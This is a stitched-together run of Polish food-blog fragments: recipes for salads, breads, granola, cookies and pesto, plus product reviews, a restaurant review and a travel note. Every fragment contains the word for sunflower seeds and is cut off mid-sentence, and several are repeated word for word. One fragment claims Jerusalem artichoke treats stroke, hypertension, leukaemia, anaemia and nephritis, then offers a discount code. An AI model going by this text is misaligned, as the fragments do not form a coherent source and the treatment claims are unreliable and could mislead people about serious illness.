sałatkę. którą w tym roku robię najczęściej. Sałatka mniszkowa (dla dwojga) spora garść listków mlodego mniszka 1 jabłko 1 duży ogórek kiszony 1/2 sałaty kruchej  2 łyżki nasion słonecznika (lub innych) sok z cytryny płynny miód olej rzepakowy tłoczony na zimno sól, biały pieprz i pieprz cayenne do smaku Oczyść warzywa. Posiekaj liście  mniszka i kruchą sałatę. Ogórka

wzbogacić o nią swoją dietę? Mikstura Olej Travico, to połączenie oleju rzepakowego nazywanego „oliwą północy”, oleju z ostropestu bogatego w kwas omega-6 oraz oleju ze słonecznika. A dodatkowo znajdziecie w niej: ekstrakt z owoców kopru włoskiego – wspomagający utrzymanie zdrowego przewodu pokarmowego oraz ułatwiający procesy trawienia i wydalania, ekstrakt z kurkumy – wspomagający utrzymanie zdrowej wątroby, ekstrakt

ewentualnie oblać czekoladą. Ciasteczka owsiane Składniki: - 200g obranych bananów - 200 do 230g ulubionej mieszanki musli, gotowej lub zrobionej przez siebie (u nas to płatki owsiane, gryczane, liofilizowane owoce, słonecznik i kokos) - opcjonalnie   miarka odżywki białkowej roślinnej lub serwatkowej 1. Banany zblendować z odżywką białkową i wymieszać z musli. 2. Odstawić na parę minut do napęcznienia. 3. Następnie formować ciastka

wody przegotowanej  1 łyżeczka soli 1 szklanka ziaren (u mnie mieszanka: 2 łyżki nasion chia, 2 łyżki siemienia lnianego w całości, 2 łyżki sezamu, a reszta to ziarna słonecznika i pestki dyni) Wykonanie: Kaszę gryczaną płuczemy na sitku pod bieżącą wodą, a następnie przenosimy do miski i zalewamy wodą przegotowaną około 0,5 - 1 cm nad powierzchnię kaszy. Przykrywamy

wody przegotowanej  1 łyżeczka soli 1 szklanka ziaren (u mnie mieszanka: 2 łyżki nasion chia, 2 łyżki siemienia lnianego w całości, 2 łyżki sezamu, a reszta to ziarna słonecznika i pestki dyni) Wykonanie: Kaszę gryczaną płuczemy na sitku pod bieżącą wodą, a następnie przenosimy do miski i zalewamy wodą przegotowaną około 0,5 - 1 cm nad powierzchnię kaszy. Przykrywamy

szklanki mleka bez laktozy / roślinnego 2 łyżki brązowego cukru  szczypta soli  1 jabłko  masło klarowane do smażenia Dodatki: Banan Borówki  Miód gryczany Jogurt naturalny Pestki słonecznika Do dzieła: Suche składniki łączymy ze sobą w misce, dolewamy mleko w temperaturze pokojowej i po dokładnym wymieszaniu odstawiamy na 10 minut do wyrośnięcia. W między czasie rozgrzewamy patelnię

wypieki. Składniki: 200g mąki razowej typ 2000 350g mąki pszennej 30g świeżych drożdży 1 łyżeczki cukru 1 płaska łyżeczka soli morskiej 1 łyżka oliwy 370ml ciepłej wody 100g ziaren słonecznika 30g sezam masło do wysmarowania naczynia Wykonanie: 1. Drożdże pokruszyć, dodać cukier, 1 łyżeczkę mąki pszennej, połowę ciepłej wody, całość dokładnie wymieszać i odstawić w ciepłe miejsce aż do wyrośnięcia

Składniki: (szklanka 250 ml) Szklanka czerwonej soczewicy ok. 200 g Czosnek 2 ząbki Suszone pomidory w zalewie 6 sztuk Olej z suszonych pomidorów 3-4 łyżki Słonecznik łuskany garść Bazylia świeża kilka listków ( lub zioła suszone 1/2 łyżeczki) Sól 1/2 łyżeczki  Papryka słodka 1/2 łyżeczki Pieprz ziołowy większa szczypta Przygotowanie: Soczewicę wypłukać na sicie pod bieżącą wodą. Wsypać

grzanką maślaną Karmelizowane gęsie wątróbki podane na pieczonej brukwi i marchwi z chipsem z jarmużu Domowy makaron z borowikami, szpinakiem i polskim serem długodojrzewającym Krem kawowy z pomarańczami i słonecznikiem zatopionym w karmelu Fedde Na początek duży ukłon w kierunku managera, który pozwolił nam wykorzystać rezerwację w innym terminie. Dużo się działo i tak się działo, że nie pojawiliśmy się

dzisiaj przedstawiamy Wam naszą ulubioną sałatkę zrobioną przed świątecznym śniadaniem ;D ; Składniki: - pół paczki świeżego szpinaku, - paczka fety, - paczka tortellini, - pomidorki koktajlowe, - mały słoik suszonych pomidorów, - uprażony na patelni słonecznik, Składniki na sos: - sok z połowy cytryny, - 2 łyżki octu balsamicznego, - 3 łyżki oleju z suszonych pomidorów, - łyżka miodu, - zioła prowansalskie, - sól, pieprz, Sposób przygotowania: Nie będzie to nic dziwnego

smakuje wspaniale! Poniżej filmik z przygotowania, może pomogę tym co się boją podjąć takiego wyzwania Chleb orkiszowy na drożdżach z ziarnami Przepis po mojemu (dodałam oliwy z oliwek, zamiast słonecznika płatki żytnie), inspiracja stąd:  klik Składniki: Rozczyn: 30 g świeżych drożdży, 1 łyżeczka miodu, 2 łyżki ciepłej wody 500 g jasnej mąki orkiszowej typ 630 2 łyżeczki soli

zrobić swoją domową wersję, która jest banalnie prosta i bardzo mi smakuje. Składniki: filiżanka siemienia lnianego 1/4 filiżanki nasion babki płesznik 1/4 filiżanki pestek z dyni 1/4 filiżanki pestek słonecznika 4 łyżki nasion chia 2 łyżki nasion sezamuh 1 łyżka maku (opcjonalnie) 1 łyżka mieszanki ziół (u mnie mix grecki) 1 łyżka posiekanego świeżego rozmarynu (opcjonalnie) 1 łyżeczka soli himalajskiej

zajmuje aż tak dużo czasu. Owsiane ciasteczka z czekoladą Kuleczki czekoladowe z ekspandowanymi ziarnami zbóż Zdrowe batoniki z płatkami owsianymi, orzechami, amarantusem i sezamem Czekoladowe praliny z prażonego słonecznika, daktyli i mąki kokosowej Kajmakowe kuleczki z mleka w proszku Czekoladowe szyszki z preparowanego ryżu Orzechy w miodzie Kandyzowany ananas Puszyste kokosanki Chałwa sezamowa z miodem Oryginalne przetwory ucieszą tych, którzy

owoce, a na koniec dodać kawałki gorzkiej czekolady.  DOMOWA GRANOLA BEZ CUKRU Czas przygotowania 30 - 35 minut 200 g płatków owsianych 100 g płatków jaglanych 2 garści ziaren słonecznika Garść siemienia lnianego Garść orzechów (u mnie ziemne i włoskie) 2 łyżki sezamu 3 łyżki pestek dyni Garść liofilizowanych owoców Duży dojrzały banan Cynamon Woda Płatki, pestki, nasiona, orzechy, liofilizowane

Oczywiście najlepiej jeśli dodatki do makaronu nie będą ociekały tłuszczem i kaloriami. Powinny stanowić źródło chudego białka (np. kurczak), niewielką ilość tłuszczu (np. oliwa lub awokado, czy też pestki słonecznika lub dyni) i obowiązkowo to wszystko musi być podane w towarzystwie warzyw Tych nigdy za wiele I dziś mam dla Was właśnie taką propozycję Co powiecie na makaron na diecie

Artykuł została zamieszczony także na stronie internetowej www.gotujwstylueko.pl  Przeczytasz tu:   Kiełki Aby nie być gołosłowną w kiełkownicy  na trzech poziomach wyhodowałam kiełki: rzodkiewki, lucerny i słonecznika. Potem były inne. Z własnych kiełków przygotowałam sałatkę w słoiku z dresingiem. czarna quinoa lub biła lub dowolna kasza  1/2 szklanki szpinak  1 garść pomidorki koktajlowe kilka sztuk

surowego brokuła Sałatka brokułowa z kurczakiem Surówka z selera naciowego i pomarańczy Surówka z kapusty pekińskiej z jarmużem, zielonym ogórkiem i szczypiorkiem Surówka z brokuła z pekinką, jabłkiem i słonecznikiem Surówka z kapusty pekińskiej z sosem szpinakowym Sałatka z suszonymi pomidorami Najsmaczniejsza surówka z kapusty pekińskiej Artykuł Sałatki na Wielkanoc – przepisy pochodzi z serwisu Dorota Smakuje

danie bardzo syte, danie bezmięsne. Składniki 200 g kaszy gryczanej palonej,ugotowanej na sypko brokuł, ugotowany cebula 2 łyżki oleju 2 ząbki czosnku jajko+ żółtko 2 łyżeczki prażonych pestek słonecznika pęczek pietruszki pieprz,sól Kaszę … Czytaj dalej Klopsiki gryczane

300g malin – mogą być mrożone 100g białej czekolady 4 łyżki śmietany kremówki 3 łyżki cukru 2 łyżki miodu Do ozdoby: suszone owoce (żurawina, morele, śliwki,…), płatki migdałowe, słonecznik, orzechy, itp.       *** W pierwszej kolejności przygotowujemy nadzienie: maliny wkładamy do garnka, zasypujemy cukrem i podgrzewamy *** *** Maliny gotujemy na małym ogniu przez około 10-15 minut, co jakiś

ochroną i można go tylko zrywać z hodowli czy domowych ogródków. Ja swój zasadziłam dwa lata temu a teraz zaczyna przynosić plony. Tym razem zrobiłam pastę z czosnku i słonecznika, polecam gorąco. Jest kremowa i nadaje się do pieczywa, mięs czy warzyw. Pasta do pieczywa z czosnku niedźwiedziego. ROZWIŃ I CZYTAJ DALEJ

zwykłej mąki pszennej. Są bardzo dobre i nie wysychają nawet kolejnego dnia. Bułeczki posypałam dodatkowo płatkami owsianymi, ale możecie zostawić je bez niczego, lub posypać mieszanką siemienia, słonecznika, sezamu czy czarnuszki. Z podanej porcji składników wyszło mi 15 bułeczek. Drukuj Bułeczki z owsianką Sycące bułeczki z dodatkiem owsianki Składniki Owsianka 2/3 szkl. płatków owsianych 350 ml wody 25 g masła

twardzieli, czyli kurut, czyli kuleczki z suszonego jogurtu. Uzbecka chałwa jest zupełnie inna niż turecka, bo wyrabia się ją z mleka w proszku lub mąki a nie ze słonecznika. Jest jej 1000 rodzajów. W kraju, gdzie herbata jest świętością, jest też oczywiście kultura podwieczorku, czyli herbatki z bakaliami. Po powrocie z Uzbekistanu nigdy już nie kupicie w Polsce bakalii, chyba

potrzebnych a przy tym ich własne wyhodowanie nie jest trudne (zobacz wpis Jak hodować kiełki w domu ). Bardzo chętnie próbuję skiełkować coraz to nowe ziarna. Lubię kiełki rzodkiewki, słonecznika, lucerny, kozieradki, brokułu, fasolki mung, soczewicy, cieciorki. Tym razem czas na kiełki groszku zielonego, którego delikatne pędy i pierwsze listki mają ciekawy, lekko słodki smak – nadają się do sałatek, kanapek

jakby „buraczany” smak w połączeniu z karmelową słodyczą daktyli jest przepyszny. Te ciasteczka są zdecydowanie najbardziej słodkie. My od siebie zrobiłybyśmy chętnie wersję z kakao albo z dodatkiem np. słonecznika. Podsumowanie: To były bez wątpienia pyszne testy, zwłaszcza, że my jesteśmy bardzo ciastkowe ;) Gdybyśmy miały wybrać nasz ulubiony produkt to Monika wybrałaby ciastko z sezamem i masłem orzechowym a Angelika

owoce suszone, świeże jabłka i cytrusy. To samo dotyczy orzechów i nasion, są z kolei zbyt ciężki i oleiste, ale okazjonalnie i lekko podprażone są dopuszczalne nasiona dyni, słonecznika i orzechy włoskie. Zasadniczo unikać też kaphny powinny nabiału, jest to najgorszy możliwych pokarm dla osób o tej konstytucji. Pocieszające jest to, że co do przyprawiania nie muszą w ogóle się

krupczatka 500 g Drożdże świeże 25 g Woda ciepła/letnia 500 ml Sól 2 łyżeczki Cukier łyżka Otręby 1/2 szklanki ( dowolne, użyłam owsianych) Dodatkowo do posypania chleba: siemię lniane, słonecznik, sezam Przygotowanie: Do miski przesiać mąkę, dodać otręby oraz sól. W osobnej misce wymieszać wodę z cukrem oraz drożdżami. Mokre składniki wlać di suchych i dokładnie wymieszać przez kilka minut

suchej na szklankę kaszy przypadają trzy szklanki wody. Gotowe! Wypróbujcie nasze przepisy kaszą jaglaną: Pieczony łosoś z pieczonymi warzywami i jagłami Sałatka z kaszy jaglanej z nasionami dyni i słonecznika Pieczone buraki z chmurkami z koziego sera Pieczona cieciorka z wołowiną Zdrowy snickers, czyli kasza jaglana z orzechami w miodzie Artykuł Jak ugotować kaszę jaglaną pochodzi z serwisu Niedzielny kucharz

mrożonych HORTEX 1 szklanka makaronu pełnoziarnistego 1 garść rukoli 8 truskawek mrożonych HORTEX 1 pomarańcza 1 garść malin HORTEX 1 mała papryczka chilli 2 łyżki pestek z dyni i słonecznika Makaron ugotować al dente. Papryczkę chilli pokroić.. Truskawki pokroić w na 4 części. Pomarańcze wyfiletować i pokroić. Serek śmietankowy zmiksować z malinami mrożonymi HORTEX.  Kaszę jaglaną ugotować

Energetyczne , bogate w bakalie batoniki musli z mleczną czekoladą. Proste w przygotowaniu jeden batonik to duża dawka energii. Zachęcam do pieczenia. Składniki 750 g musli premium ( Lidl w składzie: słonecznik,siemię lniane,orzechy ,rodzynki) 1/2 szklanki mąki pełnoziarnistej 1/2 szklanki jogurtu naturalnego 2 duże łyżki miękkiego masła 3 łyżki miodu 2 tabliczki czekolady( 1 … Czytaj dalej Batoniki musli

jest ze smakiem?  Nazwa: Raw Sport PRE-WORKOUT Energize Firma: Revolution Foods Skład: woda kokosowa w proszku, liofilizowane wiśnie, ekstrakt z guarany, liofilizowane buraki, lecytyna ze słonecznika, szara sól morska, naturalny aromat wiśniowy, ekstrakt ze stewii (glikozydy stewiolowe). Masa netto: 240g (30 porcji w opakowaniu) Wartości odżywcze: 100g/ 542 kcal, tłuszcz – 45g w tym kwasy tłuszczowe nasycone – 3g, węglowodany

Składniki: 2 szklanki płatków owsianych garść słonecznika garść pestek dyni garść wiórków kokosowych garść rodzynek garść nasion chia 2 jajka 2 łyżki miodu 1. Składniki mieszamy. Formujemy ciasteczka i pieczemy 20 minut w 180 stopniach. Wystudzone ciasteczka możemy polać rozpuszczoną czekoladą. Mmm Pycha

Składniki: 2 szklanki płatków owsianych garść słonecznika garść pestek dyni garść wiórków kokosowych garść rodzynek garść nasion chia 2 jajka 2 łyżki miodu 1. Składniki mieszamy. Formujemy ciasteczka i pieczemy 20 minut w 180 stopniach. Wystudzone ciasteczka możemy polać rozpuszczoną czekoladą. Mmm Pycha

białą mąkę na pełnoziarnistą (razową – typ 2000 lub orkiszową – typ 3000) . Co więcej, z powodzeniem można dorzucić jeszcze nieco zdrowych ziaren takich, jak pestki dyni, siemię lniane czy słonecznik. Niestety raczej nie uda nam się tutaj stworzyć puszystego pieczywa, gdyż chleb z mąki z pełnego przemiału powstaje raczej dość zbity i ciężki. Opcja dla zabieganych i niecierpliwych

podnoszący odporność, obniżający poziom cukru we krwi  i poprawiający przemianę materii, ale też  do leczenia: udaru, nadciśnienia, zapalenia pęcherza, białaczki, niedokrwistości, zapalenia nerek  Jak widzicie ten słonecznik bulwiasty (bo z taką nazwą topinamburu także możecie się spotkać) to samo zdrowie i warto po niego sięgać regularnie. Gdybyście chcieli spróbować produktów wytwarzanych z niego na hasło: CYNAMON otrzymacie

macie pomysłu na szybkie smaczne i efektowne śniadanie? To podsuwam Wam super smaczny przepis: jogurt z czerwonymi pomarańczami i prażonymi płatkami migdałów i słonecznika. Czytaj więcej

macie pomysłu na szybkie smaczne i efektowne śniadanie? To podsuwam Wam super smaczny przepis: jogurt z czerwonymi pomarańczami i prażonymi płatkami migdałów i słonecznika. Czytaj więcej

buraków z sosem chrzanowym: 2 buraki 3 marchewki 2 łyżki majonezu 3 łyżki jogurtu naturalnego 1 łyżeczka (lub więcej) chrzanu tartego szczypta soli 2 łyżki orzeszków piniowych (lub pestek słonecznika) Jak zrobić surówkę z buraków z sosem chrzanowym: Buraki i marchewki obieramy, myjemy. Buraki i marchewki ścieramy na tarce jarzynowej o dużych oczkach. Warzywa mieszamy z majonezem, jogurtem i chrzanem

Drożdże świeże 20 g Masło 50 g Jajko + dodatkowe jajko do posmarowania bułek Mleko 300 ml Cukier łyżeczka Sól łyżeczka pełna Dodatkowo do posypania bułek można użyć maku, słonecznika, pestek dyni itp. Przygotowanie: Mleko lekko podgrzać w rondelku. Masło rozpuścić w osobnym rondelku  . W miseczce przygotować rozczyn z drożdży, cukru oraz 100 ml letniego mleka. Przykryć ściereczką i odstawić

jest tak popularne jak pestp z bazylii, a wielka szkoda, gdyż jego właściwości prozdrowotne są ogromne! Składniki: 1 pęczek pietruszki (40g) ½- 1 łyżka soku z cytryny 1 łyżka pestek słonecznika 4 suszone pomidory 1 ząbek czosnku 4 łyżki oliwy z oliwek Opcjonalnie 1 łyżka startego parmezanu lub płatków drożdżowych nieaktywnych – często pomijam ten składnik Przygotowanie: Wszystkie składniki umieścić w blenderze

znudzenia - jest niesamowicie pyszny! Zajrzyj również: Pasztet z królika Pasztet z cukinii Pasztet z wątróbki Pasta z awokado i suszonych pomidorów Pasta z bobu Pasta z buraków i słonecznika Pasztet z kurczaka idealnie współgra z pomidorami, a jeżeli dodamy do niego suszone pomidory to pasztet z mięsa gotowanego przestaje być mdły, pomidory uwydatniają jego nieśmiałą naturę powodując, że kurczak staje

Składniki: 250 g twarogu lub serka wiejskiego jajko 2 łyżki siemienia lnianego 2 łyżki słonecznika szklanka płatków owsianych szczypta soli ( opcjonalnie zioła ) łyżeczka proszku do pieczenia 1. Jajko i ser miksujemy przez kilka chwil. 2. Dodajemy ziarna, płatki owsiane i proszek do pieczenia mieszamy. 3. Formujemy bułeczki. Pieczemy w rozgrzanym piekarniku do 180 stopni ok. 30 minut. Mmm Pycha

Składniki: 250 g twarogu lub serka wiejskiego jajko 2 łyżki siemienia lnianego 2 łyżki słonecznika szklanka płatków owsianych szczypta soli ( opcjonalnie zioła ) łyżeczka proszku do pieczenia 1. Jajko i ser miksujemy przez kilka chwil. 2. Dodajemy ziarna, płatki owsiane i proszek do pieczenia mieszamy. 3. Formujemy bułeczki. Pieczemy w rozgrzanym piekarniku do 180 stopni ok. 30 minut. Mmm Pycha

wielbicieli domowego chleba bez mąki. Składniki: (Szklanka 250 ml) (Keksówka 20x9 cm) Jogurt naturalny 500 g Płatki owsiane 300 g szklanka ulubionych nasion lub orzechów ( u mnie pestki dyni, słonecznika, otręby, orzechy włoskie, nasiona chia, siemię lniane) Miód łyżeczka Sól 1/2 łyżeczki Soda łyżeczka Przygotowanie: Do miski wsypujemy Wszystkie składniki: płatki owsiane, szklankę ulubionych dodatków, sól, miód, sodę. Zalewamy

obtoczyć w bułce tartej, smażyć z obu stron na złoty kolor. Do makaronu można zrobić sos pieczarkowy- danie będzie jeszcze bogatsze. Sałatka - to mix sałat z pomidorem, cebulą, ziarnami słonecznika i żurawiną. Polane olejem z suszonych pomidorów

otworzyć przepis 👉 Pikantna zupa z kapustą pak choi, mięsnymi kuleczkami i ryżem 👉 Pikantna zupa z łososiem, kapustą pak choi i mleczkiem kokosowym 👉 Kapusta pak choi z patelni, z prażonym słonecznikiem, imbirem, czosnkiem i drobiną miodu i chilli

batony owsiane: 1,5 szkl płatków owsianych całych 0,5 szkl mąki orkiszowej 1 marchewka starta na tarce 2 łyżki siemienia lnianego 2 łyżki wiórków kokosowych 2 łyżki ziaren słonecznika garść rodzynek 2 łyżki oleju kokosowego rozpuszczone 0,33 szkl cukru – najlepiej ksylitolu lub erytrolu 1 łyżeczka ekstraktu waniliowego ok 10 łyżek gorącej wody Jak zrobić łatwe batony owsiane

przypadnie ona do gustu niejednemu dziecku, ze względu na słodki smak, który zawdzięcza ona batatowi. Można ją podawać z groszkiem ptysiowym, grzankami, a także prażonymi pestkami dyni lub ziarnami słonecznika.... Składniki: 1 duży batat ok. 500 g dyni 1 cebula 1 ząbek czosnku ok. 1 litr bulionu 1 łyżka soku z cytryny szczypta papryki chili 1/4 łyżeczki imbiru sól, pieprz

pewnie smak jest zbliżony. Tak czy inaczej danie wyszło bardzo dobre i dlatego szczerze polecam :) Składniki : - filet z kurczaka, - sól, pieprz, - olej, - ser żółty. Mieszanka ziarenek  : - 4 łyżki słonecznika, - 3 łyżki sezamu, - 3 łyżki siemienia lnianego, - 2 łyżki ziół prowansalskich. Wykonanie : Filet pociąć na plastry, opruszyć solą i pieprzem. Na patelni rozgrzać olej i obsmażyć mięso. Przełożyć do naczynia

łyżki mąki arachidowej 2 łyżki mączki migdałowej 6 łyżek płynnego miodu (syropu klonowego lub z agawy) 6 łyżek oleju kokosowego 1 jajko łyżeczka proszku do pieczenia bezglutenowego garść pestek słonecznika garść pokruszonych włoskich orzechów, garść sezamu, garść wiórków kokosowych- z resztą tutaj moim zdaniem panuje pełna dowolność Pomieszałam wszystkie składniki, żeby się ładnie zlepiły. Jeśli za bardzo się

świeżego imbiru pół pora cebula 2-3 ziemniaki ząbek czosnku papryczka chilli oliwa z oliwek kurkuma sól sos sojowy natka z pietruszki pieprz mleko kokosowe pestki z dyni i słonecznika Na rozgrzanej oliwie podsmażamy pokrojone warzywa. Ja robiłam wszystko w kolejności wg. 5 przemian, ale nie trzeba koniecznie. Papryczkę chilli przekrojoną na pół możemy wyjąć po jakimś czasie. Dodajemy natkę

imbiru płaska łyżka czerwonej pasty curry szklanka mleka kokosowego 2 łyżki sosu ostrygowego 2 łyżki sosu sojowego można też zamiast dodawać sosów, po prostu posolić Dodatki: pestki słonecznika i dyni (namoczone lub prażone ze szczyptą soli himalajskiej i kokosowego cukru), oleje: z orzechów włoskich, laskowych, dyniowy, ocet balsamiczny, świeża kolendra

Thai - dobry skład tylko kokos i woda) filiżanka potłuczonych orzechów (u mnie: migdały, orzechy brazylijskie i włoskie) pół filiżanki oleju kokosowego extra virgin łyżka wiórków kokosowych 4 łyżki pestek słonecznika 1 dojrzały banan  szczypta soli, kardamonu mielonego, cynamonu mielonego, kurkumy opcjonalnie: pokruszona gorzka czekolada, 5 pokrojonych drobno śliwek kalifornijskich, 2 łyżki suszonej żurawiny opcjonalnie jajka: zrobiłam wersję

korzystałam ze zmielonych już orzechów, które zostały mi po świątecznych zakupach. Składniki: 100 g mielonych orzechów włoskich 100 g mielonych migdałów 50 g mielonych orzechów laskowych 150 g ziaren słonecznika 80 g siemienia lnianego 80 g babki płesznik (lub jajowatej) łyżeczka soli (i dowolne przyprawy, jakie lubicie) 20 g sezamu (opcjonalnie) 20 g maku (opcjonalnie) 20 g nasion chia (opcjonalnie

pestki. Zwłaszcza, kiedy się w domu raczej nie trzyma słodyczy (rozsądek), a pojawia się nieoczekiwana zachcianka 😋😉 Składniki: pół na pół: cukier brązowy i sezam (u mnie jeszcze pestki ze słonecznika i wiórki kokosowe) opcjonalnie: szczypta soli himalajskiej lub jakiejkolwiek 😉 dwa kawałki papieru do pieczenia, dwie deski do krojenia lub jedna i wałek Na suchej patelni rozpuściłam cukier. Uwaga, żeby

mojej rodziny krzyknęła: Lepszej nie jadłem! Często słyszę taki okrzyk radości. Dlatego kocham to co robię;) opakowanie szpinaku baby mango pokrojone w kostkę pestki granatu maliny pestki dyni i słonecznika orzeszki piniowe oliwa z oliwek i ocet kremowy balsamiczny

błyskawicznych, żytni, suszonej żurawiny, jabłek, orzechów, zawsze wszystko zbieram w jednym słoju i dodaje często różne super foods siemienie lniane, jagody goi, pyłek pszczeli czy to jakieś pestki typu słonecznik, dynia lub ... nasiona chia, posiekane suszone morele, daktyle, chipsy z kokosa, jednym słowem taka moja domowa gotowa mieszanka na owsiankę, i z niej zawsze robię takie ciasteczka) - 200 g masła

smażone (około 8 sztuk) mięso - wybieramy tylko jeden rodzaj: pół fileta z kurczaka filet z łososia (około 150 g) wędzony filet z ryby dodatki - wybieramy jeden dodatek: 2 łyżeczki słonecznika prażonego 2 łyżeczki dyni prażonej 2 łyżeczki chia 1 opakowanie mozzarelli pół opakowania fety sos - oczywiście tylko jednego sosu używamy: sos czosnkowy (czosnek, sól, majonez, mleko) sos miodowo-musztardowy

kiszonych buraków i tryskających słodkim sokiem owocem granatu do tego  sos vinaigrette z angielską musztardą opakowanie  rukoli kiszone buraki seler naciowy owoc granatu awokado pestki dyni i słonecznika od kiełki lucerny Sos vinaigrette: sok z połówki cytryny 2 łyżeczki angielskiej musztardy 2 łyżki oleju z pestek winogron pieprz Pestki prażymy na patelni. Seler i awokado kroimy w plastry

pesto dodajemy zwykle orzeszki pinii, ale ja tym razem użyłam do przepisy przepysznych, prażonych  migdałów ze skórką i solą. Wy możecie wykorzystać także orzechy włoskie, słonecznik lub np. pestki dyni. Jestem przekonana, że za każdym razem smak będzie wyjątkowy. Spaghetti z bazyliowym pesto / 1 porcja Składniki: 1 ząbek czosnku 1 garść prażonych migdałów, solonych, ze skórką

oleju rzepakowego 8 g suszonych drożdży 1 łyżka cukru 1 i 1/2 łyżeczka soli  Składniki na pesto: 1 pęczek natki pietruszki 2-3 łyżki orzechów nerkowca lub ziaren słonecznika 5-6 ząbków czosnku 2 łyżki płatków drożdżowych 4 łyżki oleju słonecznikowego sól, pieprz Przygotowanie ciasta: Ze składników na chleb zagnieść ciasto Do dobrze wymieszanych składników sypkich z drożdżami dolewaj

Polecam je wszystkim, doskonale nadają się na małe co nie co. :)   Z tej porcji wyjdzie nam około 35 - 40 pysznych ciasteczek.   R ada : Można też dodać ziarna słonecznika, wystarczy ująć trochę innych owoców, aby waga się zgadzała.  Ciasteczka gotowe do pieczenia Od spodu powinny mieć złoty kolor Gdyby boki nam za dużo popękały podczas przygniatania , przed pieczeniem

posiłek. Wyrób własnego pieczywa , naprawdę nie jest niczym trudnym . A do tego pozwala tworzyć swoje własne wariacje , dodając nowe składniki w postaci innej mąki , lub posypki takie jak mak , słonecznik czy dynia ..lub cokolwiek innego . W sklepach pieczywo jest coraz gorzej jakości , czasami nie wiadomo czy kupiliśmy paczkę brązowej waty czy chleb . Własnie dlatego warto robić je w domu samemu

zbędnych dodatków. Moja mieszanka " do kąpielówek " jak widać na załączonych zdjęciach to płatki kukurydziane, chipsy owsiane, chrupiące płatki sojowe, pszenne, jęczmienne, papaja suszona, płatki migdałów, płatki kokosowe, nasiona słonecznika, amarantus preparowany, oraz owoce liofilizowane takie jak: czarna porzeczka, truskawki i maliny. Mieszanka bardzo nam smakuje, jest zapakowana w folię i wygodną, kolorową tubę.  Oprócz mieszanek dla dorosłych na stornie

pieczone mięso. Składniki: 2 dojrzałe awokado 3 placki tortilli (najlepiej domowych) 200 g krewetek surowych 2 główki sałaty rzymskie Garść rukoli Duża garść pestek dyni Duża garść nasion słonecznika 1/2 szklanki tartego parmezanu Papryczka chili (według uznania) 1/2 łyżeczki nasion kuminu Garść kiełków 2 ząbki czosnku Sok z cytryny 2 łyżki oliwy 1 łyżka masła Sól, pieprz Przygotowanie: Krok

szklanki kaszy gryczanej niepalonej 3/4 szklanki daktyli 3 łyżki oleju kokosowego 4 jaja ok 400 g bakalii ( u mnie gotowa mieszanka Bacalis dostępna w Polomarkecie) - orzechy, rodzynki, żurawina, słonecznik, dynia - generalnie co kto lubi Kaszę zalewamy zimną wodą, tak by lustro wody znajdowało się ok 5 cm ponad poziomem kaszy i odstawiamy na całą noc. Daktyle zalewamy wrzątkiem i odstawiamy

Składniki: 1 szkl. kaszy manny (sypkiej) 1 szkl. mąki pszennej 2 jajka 1/3 szkl. cukru 3 czubate łyżki miękkiego masła 3/4 łyżeczki proszku do pieczenia 3 łyżki łuskanych pestek słonecznika 3 łyżki płatków owsianych z bakaliami 2 łyżki suszonej skórki pomarańczowej szczypta soli Wykonanie: Wszystkie składniki umieścić w misce, wymieszać mikserem. Formować kulki wielkości orzecha włoskiego. Układać na blaszce wyłożonej

wypieków chlebowych. Chleb który dziś przedstawiam jest prosty w wykonaniu i każdy go zrobi i upiecze. Potem będziecie cieszyć się pyszną pajdą chleba na śniadanie. Chleb na zakwasie ze słonecznikiem pszenno - żytni. ROZWIŃ I CZYTAJ DALEJ

mięsne kuleczki i kapustę. Całość gotować do miękkości mięsa i ryżu. Przyprawić ostatecznie solą do smaku. Spróbuj także:  kapusty pak choi z patelni, z dodatkiem  prażonego słonecznika, imbiru, czosnku, odrobiną miodu i chilii pikantnej kokosowa zupy z kapustą pak choi, marchewką i łososiem

przygotowania, ale dodatkowo pięknie wygląda na talerzu. Składniki: 1 garść rukoli 12 pomidorków cherry 120 g białego sera 1 cebula 3 łyżki ulubionych pestek (u mnie dynia i słonecznik) 50 g pasty z suszonych pomidorów sól pieprz SOS: 4 łyżki oliwy z oliwek 1 łyżka octu winnego 1 ząbek czosnku 1 garść listków kolendry 1 łyżka cukru trzcinowego Przygotowujemy

miałem omlet... Mniam! Składniki: jajka mleko lub śmietanka warzywa: papryka, pomidor, cebula, oliwki itp. masło lub olej do smażenia sól pieprz zielenina: pietruszka, szczypiorek, koperek itp. opcjonalnie ziarna czarnuszki, słonecznika, dyni Przygotowanie:      Ilość jajek, każdy musi dopasować do swoich potrzeb (ile jest w stanie zjeść). Na każde jajko potrzebna jest łyżka mleka/śmietanki. Jajka wbijamy do miski

sałatkę jeść codziennie.  Składniki: 1 brokuł 3 łyżki jogurtu naturalnego typ grecki 2 łyżki majonezu 3-4 ząbki czosnku 0,5 łyżeczki siekanego koperku ser feta pestki dyni słonecznik łuskany sól pieprz   Przygotowanie: Brokuł podzielić na mniejsze różyczki. Ugotować al dente w osolonej wodzie. Zaraz po ugotowaniu brokuł wyjąć i przelać zimną wodą.  Jogurt, majonez, obrany

łyżka mąki pszennej Dodatki:  6 łyżek wiórków kokosowych (płaskich) 4 łyżki suszonych owoców (już posiekanych; np. śliwek, moreli, rodzynek, żurawiny) 3 łyżki pestek, nasion lub/i orzechów (np. pestek słonecznika, sezamu, migdałów, orzechów włoskich)    Masło roztopić na patelni i wymieszać z płatkami oraz z wiórkami kokosowymi. Następnie należy dodać pozostałe składniki i c ałość dokładnie połączyć

Składniki: 1 szklanka ryżu 1 awokado 2-3 ząbki czosnku 1 łyżka cukru pudru sok z polowy cytryny ziarna słonecznika,dyni ,co kto lubi sól ,pieprz do smaku opcjonalnie 1 pierś z kurczaka Wykonanie Ugotować ryż na sypko 1 szklanka ryżu czarnego na 2 szklanki wody. Pokroić kurczaka w kostk ę, podsmażyć z każdej strony i odstawić. P osiekany czosnek

Składniki 1 batat 1 szkl. słonecznik pestki zarumienione na patelni 1 awokado 1 ½  szkl ugotowana kasza jaglana - można dać więcej kaszy dressing nasiona chia- dowolna ilość ,u mnie po łyżce na pojemnik 6 łyżek oliwa z oliwek 1 ½ łyżki octu jabłkowego 1 czubata łyżeczka miodu szczypta soli Wykonanie   Piekarnik rozgrzać do 190- 200 o C . Batat wyszorować, osuszyć

